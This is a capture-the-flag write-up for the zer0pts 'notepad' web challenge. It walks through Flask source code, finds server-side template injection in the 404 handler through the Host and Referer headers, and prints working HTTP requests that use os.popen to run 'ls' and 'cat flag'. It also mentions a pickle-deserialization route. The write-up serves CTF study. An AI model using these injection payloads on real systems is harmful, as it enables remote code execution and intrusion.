# ▼▼▼notepad(Web, 326pts, 46/432=10.6%) ▼▼▼This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)
※Number of teams that answered one or more questions, **excluding Survey and Welcome**: 218
　⇒46/218=21.1%
---
## 【Check source code】
```import flaskimport flask_bootstrapimport osimport pickleimport base64import datetime
app = flask.Flask(__name__)app.secret_key = os.urandom(16)bootstrap = flask_bootstrap.Bootstrap(app)
@app.route('/', methods=['GET'])def index():    return notepad(0)
@app.route('/note/<int:nid>', methods=['GET'])def notepad(nid=0):    data = load()     if not 0 <= nid < len(data):        nid = 0     return flask.render_template('index.html', data=data, nid=nid)
@app.route('/new', methods=['GET'])def new():    """ Create a new note """    data = load()    data.append({"date": now(), "text": "", "title": "*New Note*"})    flask.session['savedata'] = base64.b64encode(pickle.dumps(data))     return flask.redirect('/note/' + str(len(data) - 1))
@app.route('/save/<int:nid>', methods=['POST'])def save(nid=0):    """ Update or append a note """    if 'text' in flask.request.form and 'title' in flask.request.form:        title = flask.request.form['title']        text = flask.request.form['text']        data = load()         if 0 <= nid < len(data):            data[nid] = {"date": now(), "text": text, "title": title}        else:            data.append({"date": now(), "text": text, "title": title})         flask.session['savedata'] = base64.b64encode(pickle.dumps(data))    else:        return flask.redirect('/')     return flask.redirect('/note/' + str(len(data) - 1))
@app.route('/delete/<int:nid>', methods=['GET'])def delete(nid=0):    """ Delete a note """    data = load()
    if 0 <= nid < len(data):        data.pop(nid)    if len(data) == 0:        data = [{"date": now(), "text": "", "title": "*New Note*"}]     flask.session['savedata'] = base64.b64encode(pickle.dumps(data))     return flask.redirect('/')
@app.route('/reset', methods=['GET'])def reset():    """ Remove every note """    flask.session['savedata'] = None     return flask.redirect('/')
@app.route('/favicon.ico', methods=['GET'])def favicon():    return ''
@app.errorhandler(404)def page_not_found(error):    """ Automatically go back when page is not found """    referrer = flask.request.headers.get("Referer")     if referrer is None: referrer = '/'    if not valid_url(referrer): referrer = '/'     html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)     return flask.render_template_string(html), 404
def valid_url(url):    """ Check if given url is valid """    host = flask.request.host_url     if not url.startswith(host): return False  # Not from my server    if len(url) - len(host) > 16: return False # Referer may be also 404     return True
def load():    """ Load saved notes """    try:        savedata = flask.session.get('savedata', None)        data = pickle.loads(base64.b64decode(savedata))    except:        data = [{"date": now(), "text": "", "title": "*New Note*"}]     return data
def now():    """ Get current time """    return datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
if __name__ == '__main__':    app.run(        host = '0.0.0.0',        port = '8001',        debug=False    )```
---
## 【Goal】・The location of the flag could not be identified...
---
## 【Vulnerability identification】
```@app.errorhandler(404)def page_not_found(error):    """ Automatically go back when page is not found """    referrer = flask.request.headers.get("Referer")     if referrer is None: referrer = '/'    if not valid_url(referrer): referrer = '/'     html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)     return flask.render_template_string(html), 404```
↓
**SSTI(Server Side Template Injection)** vulnerability exists in Referer header
---
## 【Check restrictions】
```def valid_url(url):    """ Check if given url is valid """    host = flask.request.host_url     if not url.startswith(host): return False  # Not from my server    if len(url) - len(host) > 16: return False # Referer may be also 404     return True```↓
(en)https://docs.python.org/3/library/stdtypes.html#str.startswith
(ja)https://docs.python.org/ja/3/library/stdtypes.html#str.startswith
↓
If the host name of the **host header** and **Referer header** are the same, there is no character limit
---
## 【exploit】
Access /ttttt to get a 404 response
↓
```GET /ttttt HTTP/1.1Host: {{7*7}}Referer: http://{{7*7}}/Content-Length: 0```↓
```HTTP/1.0 404 NOT FOUNDContent-Type: text/html; charset=utf-8Content-Length: 151Server: Werkzeug/1.0.0 Python/3.6.9Date: Mon, 09 Mar 2020 00:50:50 GMT
<html><head><meta http-equiv="Refresh" content="3;URL=http://49/"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>```↓
`URL=http://49/`　　※7\*7 = **49** is calculated because of **SSTI** vulnerability.
---
```GET /ttttt?cmd=ls HTTP/1.1Host: {{url_for.__globals__.os.popen(request.args.cmd).read()}}Referer: http://{{url_for.__globals__.os.popen(request.args.cmd).read()}}/```↓
```HTTP/1.0 404 NOT FOUNDContent-Type: text/html; charset=utf-8Content-Length: 171Server: Werkzeug/1.0.0 Python/3.6.9Date: Mon, 09 Mar 2020 01:08:35 GMT
<html><head><meta http-equiv="Refresh" content="3;URL=http://app.pyflagtemplates/"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>```↓```app.pyflagtemplates```
---
```GET /ttttt?cmd=cat%20flag HTTP/1.1Host: {{url_for.__globals__.os.popen(request.args.cmd).read()}}Referer: http://{{url_for.__globals__.os.popen(request.args.cmd).read()}}/```↓
```HTTP/1.0 404 NOT FOUNDContent-Type: text/html; charset=utf-8Content-Length: 186Server: Werkzeug/1.0.0 Python/3.6.9Date: Mon, 09 Mar 2020 00:54:00 GMT
<html><head><meta http-equiv="Refresh" content="3;URL=http://zer0pts{fl4sk_s3ss10n_4nd_pyth0n_RCE}/"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>```↓
`zer0pts{fl4sk_s3ss10n_4nd_pyth0n_RCE}`
---
### 【Other】
After obtaining SECRET_KEY by SSTI, 
it seems that the procedure of executing arbitrary code using **serialization of pickle** is an assumed solution...